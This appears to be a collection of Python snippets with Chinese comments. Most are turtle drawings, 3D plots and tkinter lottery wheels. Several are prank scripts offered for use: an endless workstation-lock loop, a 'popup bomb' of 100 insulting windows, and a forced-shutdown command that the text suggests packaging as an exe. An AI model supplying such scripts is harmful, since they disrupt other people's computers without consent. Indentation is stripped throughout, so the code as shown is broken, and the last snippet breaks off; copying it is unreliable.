import turtle as t
t.goto(100,0)
for i in range(120):
t.left(80)
t.fd(100)
t.left(135)
t.fd(105)
turtle.down()
---------------------------------------------------------------
import turtle as t
t.goto(100,0)
for i in range(100):
t.left(80)
t.fd(100)
t.left(135)
t.fd(165)
t.left(125)
t.fd(115)
------------------------------------------------------------------
三维画图
from mpl_toolkits.mplot3d import axes3d
import matplotlib.pyplot as plt
from matplotlib import cm
fig = plt.figure()
ax = fig.gca(projection='3d')
X, Y, Z = axes3d.get_test_data(0.05)
cset = ax.contour(X, Y, Z, zdir='z', offset=-100, cmap=cm.coolwarm)
cset = ax.contour(X, Y, Z, zdir='x', offset=-40, cmap=cm.coolwarm)
cset = ax.contour(X, Y, Z, zdir='y', offset=40, cmap=cm.coolwarm)
ax.set_xlabel('X')
ax.set_xlim(-40, 40)
ax.set_ylabel('Y')
ax.set_ylim(-40, 40)
ax.set_zlabel('Z')
ax.set_zlim(-100, 100)
plt.show()
-------------------------------------------------------
import matplotlib as mpl
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import matplotlib.pyplot as plt
mpl.rcParams['legend.fontsize'] = 10
fig = plt.figure()
ax = fig.gca(projection='3d')
theta = np.linspace(-4 * np.pi, 4 * np.pi, 100)
z = np.linspace(-2, 2, 100)
r = z**2 + 1
x = r * np.sin(theta)
y = r * np.cos(theta)
ax.plot(x, y, z, label='parametric curve')
ax.legend()
plt.show()
---------------------------------------------------------------------
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
import numpy as np
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
# Make data
u = np.linspace(0, 2 * np.pi, 100)
v = np.linspace(0, np.pi, 100)
x = 10 * np.outer(np.cos(u), np.sin(v))
y = 10 * np.outer(np.sin(u), np.sin(v))
z = 10 * np.outer(np.ones(np.size(u)), np.cos(v))
# Plot the surface
ax.plot_surface(x, y, z, color='b')
plt.show()
------------------------------------------------------------------
import turtle as p
#定义画圆函数
def drawCircle(x,y,c='red'):
p.pu()#抬起画笔
p.goto(x,y)#绘制图的起始位置
p.pd()#放下画笔
p.color(c)#绘制c色圆环
p.circle(30,360)#绘制图:半径,角度
#画笔基本设置
p.pensize(3) #画笔尺寸设置3
#绘制五环图
drawCircle(0,0,'blue')
drawCircle(60,0,'black')
drawCircle(120,0,'red')
drawCircle(90,-30,'green')
drawCircle(30,-30,'yellow')
p.done()
-----------------------------------------------------------------------
import turtle as p
import random
#绘制雪花
def snow(snow_count):
p.hideturtle()
p.speed(500)
p.pensize(2)
for i in range(snow_count):
r = random.random()
g = random.random()
b = random.random()
p.pencolor(r, g, b)
p.pu()
p.goto(random.randint(-350, 350), random.randint(1, 270))
p.pd()
dens = random.randint(8, 12)
snowsize = random.randint(10, 14)
for _ in range(dens):
p.forward(snowsize) # 向当前画笔方向移动snowsize像素长度
p.backward(snowsize) # 向当前画笔相反方向移动snowsize像素长度
p.right(360 / dens) # 顺时针移动360 / dens度
#绘制地面
def ground(ground_line_count):
p.hideturtle()
p.speed(500)
for i in range(ground_line_count):
p.pensize(random.randint(5,10))
x = random.randint(-400, 350)
y = random.randint(-280, -1)
r = -y / 280
g = -y / 280
b = -y / 280
p.pencolor(r, g, b)
p.penup() # 抬起画笔
p.goto(x, y) # 让画笔移动到此位置
p.pendown() # 放下画笔
p.forward(random.randint(40, 100)) # 眼当前画笔方向向前移动40~100距离
#主函数
def main():
p.setup(800,600,0,0)
p.bgcolor('black')
snow(30)
ground(30)
p.mainloop()
main()
---------------------------------------------------------------------------
from ctypes import *
while True:
user32 = windll.LoadLibrary('user32.dll')
user32.LockWorkStation()
无限锁屏 (尽量别尝试)
---------------------------------------------------------------------------------
# coding=utf-8
import sys
if sys.version_info[0] == 2:
import Tkinter
from Tkinter import *
else:
import tkinter as Tkinter
from tkinter import *
import random
is_run = False
def lottery_whirl(data, i, number):
global is_run
if i == 0:
j = 0
else:
j = i % 8
data[j-1]['bg'] = '#CCCCCC'
data[j]['bg'] = '#00CD00'
wait = [a for a in range(100, 300, 10)] + [b for b in range(300, 600, 300 // (number-28))] + \
[c for c in range(600, 1200, 120)] + [d for d in range(1200, 1800, 200)]
if i < number:
window.after(wait[i], lottery_whirl, data, i + 1, number)
else:
is_run = False
def lottery_start(data):
global is_run
if is_run:
return
is_run = True
for x in range(len(data) - 1):
data[x]['bg'] = '#CCCCCC'
number = random.randint(30, 53)
lottery_whirl(data, 0, number)
def create_label(name, x, y):
label = Label(window, text=name, width=13, height=3, bg='#CCCCCC', font='宋体 -18 bold')
label.place(anchor=NW, x=x, y=y)
return label
if __name__ == '__main__':
window = Tkinter.Tk()
window.geometry('500x290+250+150')
window.title(' 转 盘 抽 奖 器')
bg_label = Label(window, width=80, height=24, bg='#ECf5FF')
bg_label.place(anchor=NW, x=0, y=0)
label1 = create_label('1', 20, 20)
label2 = create_label('2', 180, 20)
label3 = create_label('3', 340, 20)
label4 = create_label('4', 20, 110)
label5 = create_label('5', 340, 110)
label6 = create_label('6', 20, 200)
label7 = create_label('7', 180, 200)
label8 = create_label('8', 340, 200)
data = [label1, label2, label3, label5, label8, label7, label6, label4]
button_core = Button(window, text='开 始', command=lambda: lottery_start(data), width=130, height=53, bg='#00CD00',
font='宋体 -18 bold', bitmap='gray50', compound=Tkinter.CENTER)
button_core.place(anchor=NW, x=180, y=110)
window.mainloop()
-------------------------------------------------------------------------
另外还有一个抽奖程序
import tkinter
import time
import threading
class Choujiang:
#初始化魔术方法
def __init__(self):
#准备好界面
self.root = tkinter.Tk()
self.root.title('转盘')
self.root.minsize(300, 300)
# 声明一个是否按下开始的变量
self.isloop = False
self.newloop = False
#调用设置界面的方法
self.setwindow()
self.root.mainloop()
#界面布局方法
def setwindow(self):
#开始停止按钮
self.btn_start = tkinter.Button(self.root, text = '开始/停止',command = self.newtask,bg='gold')
self.btn_start.place(x=100, y=125, width=70, height=50)
self.btn1 = tkinter.Button(self.root, text='小排面', bg='red')
self.btn1.place(x=20, y=20, width=50, height=50)
self.btn2 = tkinter.Button(self.root, text='黄焖鸡', bg='white')
self.btn2.place(x=90, y=20, width=50, height=50)
self.btn3 = tkinter.Button(self.root, text='鸭血粉丝', bg='white')
self.btn3.place(x=160, y=20, width=50, height=50)
self.btn4 = tkinter.Button(self.root, text='煎饼', bg='white')
self.btn4.place(x=230, y=20, width=50, height=50)
self.btn5 = tkinter.Button(self.root, text='木桶饭', bg='white')
self.btn5.place(x=230, y=90, width=50, height=50)
self.btn6 = tkinter.Button(self.root, text='烤鸭', bg='white')
self.btn6.place(x=230, y=160, width=50, height=50)
self.btn7 = tkinter.Button(self.root, text='烤冷面', bg='white')
self.btn7.place(x=230, y=230, width=50, height=50)
self.btn8 = tkinter.Button(self.root, text='牛肉面', bg='white')
self.btn8.place(x=160, y=230, width=50, height=50)
self.btn9 = tkinter.Button(self.root, text='生煎包', bg='white')
self.btn9.place(x=90, y=230, width=50, height=50)
self.btn10 = tkinter.Button(self.root, text='蛋炒饭', bg='white')
self.btn10.place(x=20, y=230, width=50, height=50)
self.btn11 = tkinter.Button(self.root, text='鱼', bg='white')
self.btn11.place(x=20, y=160, width=50, height=50)
self.btn12 = tkinter.Button(self.root, text='肯德基', bg='white')
self.btn12.place(x=20, y=90, width=50, height=50)
# 将所有选项组成列表
self.girlfrends = [self.btn1,self.btn2,self.btn3,self.btn4,self.btn5,self.btn6,self.btn7,self.btn8,self.btn9,self.btn10,self.btn11,self.btn12]
def rounds(self):
# 判断是否开始循环
if self.isloop == True:
return
# 初始化计数 变量
i = 0
# 死循环
while True:
if self.newloop == True:
self.newloop = False
return
# 延时操作
time.sleep(0.1)
# 将所有的组件背景变为白色
for x in self.girlfrends:
x['bg'] = 'white'
# 将当前数值对应的组件变色
self.girlfrends[i]['bg'] = 'red'
# 变量+1
i += 1
# 如果i大于最大索引直接归零
if i >= len(self.girlfrends):
i = 0
# 建立一个新线程的函数
def newtask(self):
if self.isloop == False:
# 建立线程
t = threading.Thread(target = self.rounds)
# 开启线程运行
t.start()
# 设置循环开始标志
self.isloop = True
elif self.isloop == True:
self.isloop = False
self.newloop = True
c = Choujiang()
-----------------------------------------------------------------
import tkinter as tk
import random
import threading
import time
def dow():
window = tk.Tk()
window.title('你是憨憨')
window.geometry("200x50" + "+" + str(random.randrange(0, window.winfo_screenwidth())) + "+" + str(random.randrange(0, window.winfo_screenheight())))
tk.Label(window,
text='你是个铁憨憨!', # 标签的文字
bg='Red', # 背景颜色
font=('楷体', 17), # 字体和字体大小
width=20, height=2 # 标签长宽
).pack() # 固定窗口位置
window.mainloop()
threads = []
for i in range(100): # 需要的弹框数量
t = threading.Thread(target=dow)
threads.append(t)
time.sleep(0.1)
threads[i].start()
弹窗炸弹
-----------------------------------------------------------------
import turtle as t
t.color('blue')
for i in range(270):
t.fd(i)
t.left(70)
t.done()
---------------------------------------------------------------------------
import os
os.system('shutdown -s -t 100')
关机代码 (建议做成exe)
---------------------------------------------------
for i in range(1,10):
for j in range(1,i+1):
print('{0}*{1}={2}'.format(i,j,i*j),end='\t')
print()
-------------------------------------------------------------
import turtle as t
t.pensize(4)
t.hideturtle()
t.colormode(255)
t.color((0,0,0), "black")
t.setup(600, 600)
t.speed(3)
t.setx(-130)
t.goto(-110,110)
t.goto(-90,110)
t.goto(-100,30)
t.goto(-90,125)
t.goto(-70,125)
t.goto(-70,43)
t.goto(-70,200)
t.goto(-50,200)
t.goto(-50,43)
t.goto(-50,125)
t.goto(-30,125)
t.goto(-10,30)
t.goto(-30,110)
t.goto(10,110)
t.goto(30,0)
t.goto(120,-180)
t.goto(90,-180)
t.goto(-50,0)
t.end_fill()
t.exitonclick()
这是一个鄙视手势
----------------------------------------------------------------
import random
import turtle
t = turtle.Pen()
t.speed(0)
turtle.bgcolor("black")
colors = ["red", "green", "yellow", "gray", "blue", "orange", "purple", "white"]
def random_spiral():
t.pencolor(random.choice(colors))
size = random.randint(10, 40)
x = random.randrange(-turtle.window_width()//2,turtle.window_width()//2)
y = random.randrange(-turtle.window_height()//2,turtle.window_height()//2)
t.penup()
t.setpos(x,y)
t.pendown()
for m in range(size):
t.forward(m*2)
t.left(91)
for n in range(50):
random_spiral()
---------------------------------------------------------------------------------
import turtle as te
import time
WriteStep = 15 # 贝塞尔函数的取样次数
Speed = 5
Width = 600 # 界面宽度
Height = 500 # 界面高度
Xh = 0 # 记录前一个贝塞尔函数的手柄
Yh = 0
def Bezier(p1, p2, t): # 一阶贝塞尔函数
return p1 * (1 - t) + p2 * t
def Bezier_2(x1, y1, x2, y2, x3, y3): # 二阶贝塞尔函数
te.goto(x1, y1)
te.pendown()
for t in range(0, WriteStep + 1):
x = Bezier(Bezier(x1, x2, t / WriteStep),
Bezier(x2, x3, t / WriteStep), t / WriteStep)
y = Bezier(Bezier(y1, y2, t / WriteStep),
Bezier(y2, y3, t / WriteStep), t / WriteStep)
te.goto(x, y)
te.penup()
def Bezier_3(x1, y1, x2, y2, x3, y3, x4, y4): # 三阶贝塞尔函数
x1 = -Width / 2 + x1
y1 = Height / 2 - y1
x2 = -Width / 2 + x2
y2 = Height / 2 - y2
x3 = -Width / 2 + x3
y3 = Height / 2 - y3
x4 = -Width / 2 + x4
y4 = Height / 2 - y4 # 坐标变换
te.goto(x1, y1)
te.pendown()
for t in range(0, WriteStep + 1):
x = Bezier(Bezier(Bezier(x1, x2, t / WriteStep), Bezier(x2, x3, t / WriteStep), t / WriteStep),
Bezier(Bezier(x2, x3, t / WriteStep), Bezier(x3, x4, t / WriteStep), t / WriteStep), t / WriteStep)
y = Bezier(Bezier(Bezier(y1, y2, t / WriteStep), Bezier(y2, y3, t / WriteStep), t / WriteStep),
Bezier(Bezier(y2, y3, t / WriteStep), Bezier(y3, y4, t / WriteStep), t / WriteStep), t / WriteStep)
te.goto(x, y)
te.penup()
def Moveto(x, y): # 移动到svg坐标下(x,y)
te.penup()
te.goto(-Width / 2 + x, Height / 2 - y)
def line(x1, y1, x2, y2): # 连接svg坐标下两点
te.penup()
te.goto(-Width / 2 + x1, Height / 2 - y1)
te.pendown()
te.goto(-Width / 2 + x2, Height / 2 - y2)
te.penup()
def lineto(dx, dy): # 连接当前点和相对坐标(dx,dy)的点
te.pendown()
te.goto(te.xcor() + dx, te.ycor() - dy)
te.penup()
def Lineto(x, y): # 连接当前点和svg坐标下(x,y)
te.pendown()
te.goto(-Width / 2 + x, Height / 2 - y)
te.penup()
def Horizontal(x): # 做到svg坐标下横坐标为x的水平线
te.pendown()
te.setx(x - Width / 2)
te.penup()
def horizontal(dx): # 做到相对横坐标为dx的水平线
te.seth(0)
te.pendown()
te.fd(dx)
te.penup()
def vertical(dy): # 做到相对纵坐标为dy的垂直线
te.seth(-90)
te.pendown()
te.fd(dy)
te.penup()
te.seth(0)
def polyline(x1, y1, x2, y2, x3, y3): # 做svg坐标下的折线
te.penup()
te.goto(-Width / 2 + x1, Height / 2 - y1)
te.pendown()
te.goto(-Width / 2 + x2, Height / 2 - y2)
te.goto(-Width / 2 + x3, Height / 2 - y3)
te.penup()
def Curveto(x1, y1, x2, y2, x, y): # 三阶贝塞尔曲线到(x,y)
te.penup()
X_now = te.xcor() + Width / 2
Y_now = Height / 2 - te.ycor()
Bezier_3(X_now, Y_now, x1, y1, x2, y2, x, y)
global Xh
global Yh
Xh = x - x2
Yh = y - y2
def curveto_r(x1, y1, x2, y2, x, y): # 三阶贝塞尔曲线到相对坐标(x,y)
te.penup()
X_now = te.xcor() + Width / 2
Y_now = Height / 2 - te.ycor()
Bezier_3(X_now, Y_now, X_now + x1, Y_now + y1,
X_now + x2, Y_now + y2, X_now + x, Y_now + y)
global Xh
global Yh
Xh = x - x2
Yh = y - y2
def Smooth(x2, y2, x, y): # 平滑三阶贝塞尔曲线到(x,y)
global Xh
global Yh
te.penup()
X_now = te.xcor() + Width / 2
Y_now = Height / 2 - te.ycor()
Bezier_3(X_now, Y_now, X_now + Xh, Y_now + Yh, x2, y2, x, y)
Xh = x - x2
Yh = y - y2
def smooth_r(x2, y2, x, y): # 平滑三阶贝塞尔曲线到相对坐标(x,y)
global Xh
global Yh
te.penup()
X_now = te.xcor() + Width / 2
Y_now = Height / 2 - te.ycor()
Bezier_3(X_now, Y_now, X_now + Xh, Y_now + Yh,
X_now + x2, Y_now + y2, X_now + x, Y_now + y)
Xh = x - x2
Yh = y - y2
te.tracer(10)
te.setup(Width, Height, 0, 0)
te.pensize(1)
te.speed(Speed)
te.penup()
# 图层_2
time.sleep(20)
te.color("black", "#F2F2F2") # 外套
Moveto(61, 462)
te.begin_fill()
smooth_r(12, -41, 27, -58)
curveto_r(-6, -36, 6, -118, 9, -132)
curveto_r(-15, -27, -23, -51, -26, -74)
curveto_r(4, -66, 38, -105, 65, -149)
Horizontal(486)
curveto_r(12, 24, 40, 99, 33, 114)
curveto_r(39, 82, 55, 129, 39, 144)
smooth_r(-31, 23, -39, 28)
smooth_r(-12, 37, -12, 37)
lineto(50, 92)
Horizontal(445)
smooth_r(-29, -38, -31, -46)
smooth_r(78, -107, 72, -119)
Smooth(355, 178, 340, 176)
Smooth(272, 63, 264, 64)
smooth_r(-29, 67, -27, 73)
Curveto(99, 292, 174, 428, 173, 439)
smooth_r(-8, 23, -8, 23)
Lineto(61, 462)
te.end_fill()
Moveto(60.5, 461.5) # 阴影
te.color("black", "#D3DFF0")
te.begin_fill()
curveto_r(0, 0, 17, -42, 27, -59)
curveto_r(-6, -33, 6, -128, 10, -133)
curveto_r(-15, -10, -27, -66, -27.285, -75)
te.pencolor("#D3DFF0")
curveto_r(12.285, 11, 82.963, 156, 82.963, 156)
te.pencolor("black")
smooth_r(12.322, 75, 19.322, 86)
curveto_r(-1, 11, -8, 25, -8, 25)
Horizontal(60.5)
te.end_fill()
Moveto(444.5, 464)
te.begin_fill()
curveto_r(0, 0, -29, -36, -31, -46)
smooth_r(53.59, -82.337, 53.59, -82.337)
te.pencolor("#D3DFF0")
smooth_r(86.41, -47.663, 96.072, -54.85)
Curveto(563.5, 297.5, 570.5, 299.5, 518.5, 334)
te.pencolor("black")
curveto_r(-2, 16, -12, 33, -12, 37)
smooth_r(50, 92, 50, 93)
Horizontal(444.5)
te.end_fill()
Moveto(195, 49)
te.begin_fill()
te.pencolor("#D3DFF0")
polyline(195, 49, 175.5, 106.5, 202.522, 49)
te.pencolor("black")
Horizontal(195)
te.pencolor("#D3DFF0")
te.end_fill()
Moveto(327.997, 49)
te.begin_fill()
te.pencolor("#D3DFF0")
curveto_r(0, 0, 11.503, 121.087, 13.503, 128.087)
curveto_r(11, 2, 54, 37, 54, 37)
lineto(-40, -165.087)
te.pencolor("black")
Horizontal(327.997)
te.pencolor("#D3DFF0")
te.end_fill()
te.pencolor("black")
line(94.5, 397.5, 107.5, 373.5) # 皱纹
line(122.5, 317.5, 95.875, 274.699)
line(122.5, 341.5, 141.5, 402.5)
line(141.5, 409.5, 153.5, 431.5)
# line(328,47.712,344,175.977)
line(340.023, 49, 360.5, 144)
# line(353.5,47.5,395.5,208.5)
line(478.5, 95.5, 518.5, 161.5)
line(518.5, 332.5, 460.5, 359.5)
polyline(506.5, 369.5, 493.5, 402.5, 502.5, 443.5)
Moveto(530, 429)
curveto_r(4, 16, -5, 33, -5, 33)
# 图层_3
te.color("black", "#2b1d2a") # 外套内侧
Moveto(225, 462)
te.begin_fill()
Horizontal(165)
smooth_r(9, -15, 8, -25)
curveto_r(-47, -126, 6, -212, 12, -225)
Curveto(185, 305, 202, 428, 225, 462)
Lineto(225, 462)
te.end_fill()
Moveto(390, 462)
te.begin_fill()
curveto_r(10, -23, 34, -180, 35, -222) # !!!227
curveto_r(7, 4, 54, 45, 61, 61) # 61
smooth_r(-73, 101, -72, 118)
curveto_r(5, 15, 31, 46, 31, 45)
Lineto(390, 462)
te.end_fill()
# 图层_4
te.color("black", "#2b1d29") # 外套内侧
Moveto(225, 462)
te.begin_fill()
curveto_r(-28, -50, -40, -166, -40, -250)
curveto_r(6, 51, -6, 87, 45, 106)
smooth_r(64, 27, 89, 24)
smooth_r(49, -18, 56, -20)
smooth_r(50, -10, 51, -85)
curveto_r(0, 29, -25, 201, -36, 225)
Lineto(225, 462)
te.end_fill()
# 图层_5
te.color("black", "#3D3D3D") # 衣服
Moveto(225, 462)
te.begin_fill()
curveto_r(-5, -5, -22, -53, -23, -70)
lineto(32, -13)
curveto_r(3, -25, 6, -28, 12, -36)
smooth_r(13, -12, 16, -12)
vertical(-2)
curveto_r(45, 20, 64, 14, 94, 1)
vertical(2)
curveto_r(8, -2, 15, 2, 17, 4)
smooth_r(0, 6, -2, 9)
curveto_r(10, 10, 10, 29, 11, 33)
smooth_r(23, 4, 25, 6)
smooth_r(-17, 83, -17, 78)
Lineto(225, 462)
te.end_fill()
# 图层_6
te.color("black", "#968281") # 脖子
Moveto(262, 329)
te.begin_fill()
vertical(17)
curveto_r(1, 2, 44, 14, 45, 15)
smooth_r(3, 12, 3, 12)
horizontal(3)
vertical(-5)
curveto_r(1, -3, 4, -6, 5, -7)
lineto(36, -14)
curveto_r(1, -1, 3, -16, 2, -17)
Curveto(318, 348, 296, 344, 262, 329)
te.end_fill()
# 图层_8
te.color("black", "#E7F1FF") # 白色褶皱
Moveto(225, 462)
te.begin_fill()
lineto(-3, -5) # -3,-3,-3,-5
curveto_r(0, -2, 4, -4, 5, -6)
smooth_r(16, 3, 19, -8)
smooth_r(0, -7, 0, -11)
smooth_r(5, -8, 9, -5)
smooth_r(19, -8, 19, -11)
smooth_r(6, -7, 6, -7)
smooth_r(7, -2, 9, -4)
lineto(41, -2)
lineto(12, 9)
smooth_r(3, 15, 7, 18)
smooth_r(15, 4, 17, 4)
smooth_r(4, -4, 6, -4)
smooth_r(6, 4, 5, 9)
smooth_r(0, 9, 0, 9)
smooth_r(1, 7, 7, 6)
smooth_r(8, 0, 8, 0)
lineto(-2, 8)
Lineto(225, 462)
te.end_fill()
te.pensize(2)
Moveto(240, 450)
smooth_r(0, 9, 3, 12)
Moveto(372, 462)
curveto_r(-2, -4, -5, -29, -7, -28)
te.pensize(1)
# 图层_7
te.color("black", "#A2B8D6") # 衣领
Moveto(262, 331)
te.begin_fill()
curveto_r(0, 8, -1, 13, 0, 15)
smooth_r(43, 14, 45, 15)
lineto(3, 12)
horizontal(3)
smooth_r(-1, -3, 0, -5)
lineto(5, -7)
lineto(36, -14)
curveto_r(1, -1, 2, -12, 2, -15)
smooth_r(25, -2, 15, 13)
curveto_r(-2, 4, -7, 29, -7, 32)
smooth_r(-35, 19, -41, 22)
smooth_r(-9, 14, -12, 14)
smooth_r(-7, -12, -14, -15)
curveto_r(-19, -2, -41, -25, -41, -25)
smooth_r(-10, -26, -10, -30)
Smooth(255, 332, 262, 331)
te.end_fill()
Moveto(262, 346)
lineto(-12, -6)
Moveto(369, 333)
curveto_r(2, 4, -6, 10, -15, 14)
# 图层_9
te.color("black", "#151515") # 领结
Moveto(247, 358)
te.begin_fill()
curveto_r(-5, 3, -8, 20, -6, 23)
curveto_r(25, 21, 50, 17, 50, 17)
lineto(-23, 64)
horizontal(22)
smooth_r(1, -13, 2, -16)
lineto(13, -50)
curveto_r(2, 2, 7, 3, 10, 1)
smooth_r(18, 65, 18, 65)
horizontal(19)
lineto(-24, -65)
curveto_r(21, 5, 39, -10, 44, -13)
curveto_r(5, -20, 1, -21, 0, -24)
curveto_r(-18, -2, -49, 15, -52, 17)
smooth_r(-11, -3, -15, -1)
Smooth(252, 356, 247, 358)
te.end_fill()
# 图层_10
te.color("black", "#A2B8D6") # 衣领(透过领结)
Moveto(297, 387)
te.begin_fill()
lineto(-11, 6)
curveto_r(-1, 0, -20, -7, -30, -19)
Curveto(259, 373, 297, 385, 297, 387)
te.end_fill()
Moveto(323, 384)
te.begin_fill()
lineto(8, 7)
lineto(30, -14)
curveto_r(1, -1, 5, -6, 4, -7)
Smooth(329, 379, 323, 384)
te.end_fill()
# 图层_11
te.color("black", "#F3EEEB") # 脸
Moveto(185, 212)
te.begin_fill()
curveto_r(4, -9, 46, -77, 52, -75)
curveto_r(-2, -17, 19, -68, 27, -73)
curveto_r(16, 15, 71, 108, 76, 112)
smooth_r(76, 53, 86, 60)
curveto_r(0, 65, -27, 75, -31, 76)
curveto_r(-50, 28, -70, 30, -85, 30)
smooth_r(-77, -22, -86, -26)
Curveto(180, 302, 186, 228, 185, 212)
te.end_fill()
# 图层_12
te.color("black", "#2B1D29") # 头发
Moveto(189, 202)
te.begin_fill()
curveto_r(-1, 22, 19, 51, 19, 51)
smooth_r(-10, -42, 7, -92)
Curveto(212, 168, 196, 189, 189, 202)
te.end_fill()
Moveto(221, 155)
te.begin_fill()
curveto_r(-2, 6, 5, 48, 5, 48)
smooth_r(18, -28, 20, -48)
curveto_r(-5, 24, 4, 43, 7, 50)
curveto_r(-10, -49, 3, -72, 13, -106)
curveto_r(-2, -7, -3, -32, -3, -35)
curveto_r(-17, 18, -27, 71, -27, 71)
Lineto(221, 155)
te.end_fill()
Moveto(264, 64)
te.begin_fill()
curveto_r(-4, 5, 14, 100, 14, 100)
smooth_r(-6, -79, -5, -85)
curveto_r(0, 98, 49, 139, 49, 139)
smooth_r(8, -50, 3, -65)
Smooth(272, 64, 264, 64)
te.end_fill()
Moveto(342, 176)
te.begin_fill()
curveto_r(-1, 27, -10, 57, -10, 57)
smooth_r(20, -33, 17, -54)
Lineto(342, 176)
te.end_fill()
te.penup()
te.begin_fill()
polyline(349, 180, 353, 203, 361, 203)
polyline(361, 203, 362, 188, 349, 180)
te.end_fill()
# 图层_13
te.pensize(2)
Moveto(210, 180) # 眉毛
curveto_r(5, -4, 63, 9, 63, 14)
Moveto(338, 193)
curveto_r(0, -3, 18, -6, 18, -6)
te.pensize(1)
# 图层_14
te.color("black", "#D1D1D1") # 眼睛1
te.pensize(2)
Moveto(206, 212)
te.begin_fill()
lineto(15, -7)
curveto_r(4, -1, 26, -2, 30, 0)
smooth_r(10, 3, 12, 7)
te.pencolor("#D1D1D1")
te.pensize(1)
smooth_r(2, 27, -1, 30)
smooth_r(-39, 5, -44, 1)
Smooth(206, 212, 206, 212)
te.end_fill()
Moveto(384, 204)
te.begin_fill()
te.pencolor("black")
te.pensize(2)
curveto_r(-3, -1, -18, -1, -28, 1)
smooth_r(-9, 6, -10, 9)
te.pencolor("#D1D1D1")
te.pensize(1)
smooth_r(3, 18, 6, 23)
smooth_r(38, 6, 40, 4)
smooth_r(10, -9, 13, -22)
te.pencolor("black")
te.pensize(2)
Lineto(384, 204)
te.end_fill()
# 图层_15
te.color("#0C1631", "#0C1631") # 眼睛2
te.pensize(1)
Moveto(216, 206)
te.begin_fill()
curveto_r(-1, 5, 0, 26, 7, 35)
smooth_r(30, 2, 33, 0)
smooth_r(5, -31, 2, -34)
Smooth(219, 203, 216, 206)
te.end_fill()
Moveto(354, 207)
te.begin_fill()
curveto_r(-2, 1, 2, 29, 4, 31)
smooth_r(30, 3, 33, 1)
smooth_r(6, -24, 4, -27)
lineto(-11, -8)
Curveto(382, 204, 357, 206, 354, 207)
te.end_fill()
# 图层_17
te.color("#F5F5F5", "#F5F5F5") # 眼睛3
Moveto(253, 211)
te.begin_fill()
curveto_r(-3, 0, -8, 8, 1, 10)
Smooth(258, 210, 253, 211)
te.end_fill()
Moveto(392, 209)
te.begin_fill()
lineto(4, 3)
vertical(4)
lineto(-4, 2)
Curveto(386, 214, 392, 209, 392, 209)
te.end_fill()
# 图层_18
te.color("#352F53", "#352F53") # 眼睛4
Moveto(219, 229)
te.begin_fill()
smooth_r(2, -5, 6, -4)
smooth_r(18, 13, 27, 1)
curveto_r(3, 0, 5, 3, 5, 3)
vertical(13)
Horizontal(224)
Lineto(219, 229)
te.end_fill()
Moveto(357, 227)
te.begin_fill()
smooth_r(4, -6, 10, -2)
smooth_r(10, 13, 19, 1)
curveto_r(6, 0, 8, 6, 8, 6)
lineto(-2, 9)
curveto_r(-12, 3, -29, 0, -32, -2)
Smooth(357, 227, 357, 227)
te.end_fill()
# 图层_19
te.color("#9A90CB", "#9A90CB") # 眼睛5
Moveto(227, 231)
te.begin_fill()
curveto_r(-6, 0, -5, 5, -3, 8)
smooth_r(24, 2, 27, 0)
smooth_r(0, -8, -1, -8)
Smooth(234, 231, 227, 231)
te.end_fill()
Moveto(361, 227)
te.begin_fill()
curveto_r(2, 18, 26, 14, 30, 6)
smooth_r(-1, -3, -2, -4)
smooth_r(-15, 9, -24, -4)
Curveto(363, 224, 361, 225, 361, 227)
te.end_fill()
# 图层_16
te.pencolor("black") # 眼睛(线条)
te.pensize(3)
# Moveto(206,213)
# lineto(14,-8)
# curveto_r(3,-1,30,0,33,1)
# lineto(10,6)
Moveto(225, 215)
curveto_r(10, 28, 22, 16, 24, 6)
Moveto(365, 219)
curveto_r(4, 14, 18, 24, 22, -3)
te.pensize(2)
line(240.5, 207.5, 227.5, 211.5)
line(245.5, 209.5, 227.5, 214.5)
line(247.5, 211.5, 227.5, 217.5)
line(247.5, 214.5, 229.5, 220.5)
line(247.5, 218.5, 230.5, 223.5)
line(246.5, 222.5, 232.5, 226.5)
line(244.5, 225.5, 234.5, 228.5)
line(377.5, 207.5, 367.5, 210.5)
line(384.5, 207.5, 366.5, 212.5)
line(385.5, 210.5, 366.5, 215.5)
line(384.5, 213.5, 366.5, 218.5)
line(384.5, 215.5, 367.5, 220.5)
line(384.5, 218.5, 368.5, 223.5)
# line(383.5,220.5,368.5,225.5)
line(382.5, 223.5, 370.5, 227.5)
# line(381.5,226.5,373.5,229.5)
# 图层_20
te.pencolor("black")
Moveto(309, 270) # 鼻子、嘴
curveto_r(0, 0, 4, 7, 1, 9)
line(296.5, 307.5, 303.5, 307.5)
Moveto(315, 307)
smooth_r(10, -1, 10, 2)
te.penup()
te.hideturtle()
te.update()
te.done()
------------------------------------------------------
import turtle
t = turtle.Pen()
t.speed(0)
turtle.onscreenclick(t.setpos)
鼠标指向
-------------------------------------------------------------------------------------------------
import turtle
t = turtle.Pen()
t.speed(0)
turtle.onscreenclick(t.setpos)
turtle.bgcolor("blue")
t.pencolor("green")
t.width(99)
鼠标指向
------------------------------------------------------------------------------------------
import turtle
import time
#1-2画心形圆弧
def hart_arc():
for i in range(200):
turtle.right(1)
turtle.forward(2)
def move_pen_position(x, y):
turtle.hideturtle() # 隐藏画笔(先)
turtle.up() # 提笔
turtle.goto(x, y) # 移动画笔到指定起始坐标(窗口中心为0,0)
turtle.down() # 下笔
turtle.showturtle() # 显示画笔
love = input("请输入表白话语:")
signature = input("请签署你的名字:")
date=input("请写上日期:")
if love == '':
love = 'I Love You'
#1-3初始化
turtle.setup(width=800, height=500) # 窗口(画布)大小
turtle.color('red', 'pink') # 画笔颜色
turtle.pensize(3) # 画笔粗细
turtle.speed(1) # 描绘速度
# 初始化画笔起始坐标
move_pen_position(x=0, y=-180) # 移动画笔位置
turtle.left(140) # 向左旋转140度
turtle.begin_fill() # 标记背景填充位置
#1-4画图和展示
turtle.forward(224) # 向前移动画笔,长度为224
# 画爱心圆弧
hart_arc() # 左侧圆弧
turtle.left(120) # 调整画笔角度
hart_arc() # 右侧圆弧
# 画心形直线( 右下方 )
turtle.forward(224)
turtle.end_fill() # 标记背景填充结束位置
move_pen_position(x=70, y=160) # 移动画笔位置
turtle.left(185) # 向左旋转180度
turtle.circle(-110,185) # 右侧圆弧
# 画心形直线( 右下方 )
#turtle.left(20) # 向左旋转180度
turtle.forward(50)
move_pen_position(x=-180, y=-180) # 移动画笔位置
turtle.left(180) # 向左旋转140度
# 画心形直线( 左下方 )
turtle.forward(600) # 向前移动画笔,长度为224
# 在心形中写上表白话语
move_pen_position(0,50) # 表白语位置
turtle.hideturtle() # 隐藏画笔
turtle.color('#CD5C5C', 'pink') # 字体颜色
